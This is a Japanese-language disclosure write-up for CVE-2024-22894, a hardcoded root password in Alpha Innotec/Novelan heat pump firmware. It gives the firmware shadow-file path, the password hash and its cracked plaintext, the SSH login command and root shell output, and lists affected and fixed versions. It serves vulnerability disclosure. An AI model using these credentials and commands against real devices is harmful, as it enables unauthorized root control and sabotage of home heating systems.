
CVE-2024-22894の概念実証エクスプロイト。Alpha Innotec/Novelanヒートポンプファームウェアから3DES暗号化されたルートパスワードを抽出し、脆弱なIoTデバイスへのSSHアクセスを可能にします。
最新のヒートポンプファームウェアバージョン wp2reg-V3.88.0-9015 を https://www.heatpump24.com/DownloadArea.php からダウンロードした。
このファームウェア内には、wp2reg-V3.88.0-9015\wp2reg-AlphaInnotech-prod\home.wp2reg-V3.88.0-9015_221213\share\shadow というファイルがある。
これには、システムの root ユーザーの 3DES 暗号化パスワード root:MEfgX2vrPJzuE:0:0:99999:7::: が含まれており、復号/クラックすると(5秒以内に)パスワード eschi が表示される。
ネットワークケーブルを使用してヒートポンプをネットワークに接続すると、利用可能な SSH サービスに 'root' ユーザーと見つかったパスワードを使用してログインできます。
> ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes256-cbc root@$IP
$IP's password: eschi
# id
uid=0(root) gid=0 groups=0
# uname -a
Linux [...] 2.6.33.20 #3 PREEMPT Wed Oct 24 14:25:34 CEST 2018 armv5tejl GNU/Linux
この脆弱性は、Luxtronic コントローラを搭載したすべての Alpha Innotec および Novelan ヒートポンプに影響します。 これは、Alpha Innotec および Novelan の OEM である AIT Deutschland によって検証され、対処されています。この脆弱性は、以下のファームウェアバージョンに存在します:
V2.88.3 より前のバージョンV3.89.0 より前のバージョンV4.81.3 より前のバージョンこの脆弱性を悪用するには、ヒートポンプを LAN(RJ-45)接続でネットワークに接続する必要があります。 Shodan によると、同じ SSH バージョンとフィンガープリントを使用してインターネットに接続されているヒートポンプがまだ47台あり、このエクスプロイトを使用して侵害される可能性があります。
いったん悪用されると、設定を変更したり、構成/ソフトウェア全体を削除してヒートポンプを誤動作させたりクラッシュさせたりすることで、大きな損害を引き起こす可能性があります。たとえば、ホームディレクトリには、攻撃者にとって興味深い可能性のある次のファイルが含まれています:
# ls -alh /home
total 7448
drwxr-xr-x 5 root 0 4.8K Jan 12 08:59 .
drwxr-xr-x 14 root 0 992 Aug 1 2011 ..
drwxr-xr-x 3 root 0 224 Jan 1 1970 .update
-rw-rw-rw- 1 root 0 92.3K Jul 20 2022 10Min_1
-rw-rw-rw- 1 root 0 92.3K Sep 15 2022 10Min_2
-rwxrwxrwx 1 root 0 22.3K Jan 13 2021 ASB.bin
-rwxrwxrwx 1 root 0 23.3K Jul 15 2019 ASB_BL_Switch.bin
-rwxrwxrwx 1 root 0 22.1K Jul 15 2019 ASB_bootloader.bin
-rwxrwxrwx 1 root 0 1.2K Jun 16 2021 Defines.txt
-rwxrwxrwx 1 root 0 15.7K Jun 14 2021 HZIO.lin
-rw-rw-rw- 1 root 0 648 Jan 3 18:55 Info.dti
-rwxrwxrwx 1 root 0 15.3K Jul 24 2020 LD2AG.lin
-rwxrwxrwx 1 root 0 37.5K Jul 15 2019 LWD.lin
-rwxrwxrwx 1 root 0 26.8K Feb 8 2021 LWD45.lin
-rwxrwxrwx 1 root 0 38.8K Jul 15 2019 LWD90.lin
-rwxrwxrwx 1 root 0 37.9K Jul 15 2019 LWDRev.lin
-rwxrwxrwx 1 root 0 40.0K Jun 16 2021 LuxConst.sqlite
-rwxrwxrwx 1 root 0 26.9K Jul 24 2020 MSW_15.lin
-rwxrwxrwx 1 root 0 28.4K Jul 24 2020 MSW_Inverter.lin
-rw-rw-rw- 1 root 0 435.2K Jan 12 08:59 NewProc
-rw-rw-rw- 1 root 0 8.8K Jan 1 01:00 ParamArchive_1704067200
[...]
-rw-rw-rw- 1 root 0 8.8K Jan 12 01:00 ParamArchive_1705017600
-rwxrwxrwx 1 root 0 96.9K Jul 15 2019 SEC.bin
-rwxrwxrwx 1 root 0 31.6K Jul 15 2019 SWP.lin
-rwxrwxrwx 1 root 0 30.6K Jul 15 2019 SWPH.lin
-rwxrwxrwx 1 root 0 30.4K Jul 15 2019 SWPH291.lin
drwxrwxrwx 2 root 0 648 Apr 25 2023 Webserver
-rwxrwxrwx 1 root 0 5.0M Jun 16 2021 appl
-rwxrwxrwx 1 root 0 147 Jul 15 2019 appl.cfg
-rw-rw-rw- 1 root 0 8.8K Jan 12 08:59 appl_param1
-rw-rw-rw- 1 root 0 8.8K Jan 12 06:59 appl_param2
-rwxrwxrwx 1 root 0 9.4K Jul 15 2019 bootloader.lin
-rw-r--r-- 1 root 0 20.0K Jan 1 05:10 default.sqlite
-rw-r--r-- 1 root 0 0 Jan 1 1970 default.sqlite-wal
-rw-rw-r-- 1 root 0 56 Sep 15 2022 errlog
-rw-r--r-- 1 root 0 42.9K Apr 1 2011 firmware
-rwxrwxrwx 1 root 0 391 Jul 15 2019 index.html
-rwxrwxrwx 1 root 0 35.2K Jun 16 2021 lang_CR
[...
-rwxrwxrwx 1 root 0 37.8K Jun 16 2021 lang_tr
drwxr-xr-x 2 root 0 360 Jan 1 1970 share
-rwxrwxrwx 1 root 0 37 Jul 15 2019 timezone
-rwxrwxrwx 1 root 0 1.1K Jul 15 2019 udhcpc.script
V2.88.3 以上V3.89.0 以上V4.81.3 以上この問題に真剣に取り組み、優先的に対処してくれた AIT-Deutschland に感謝します。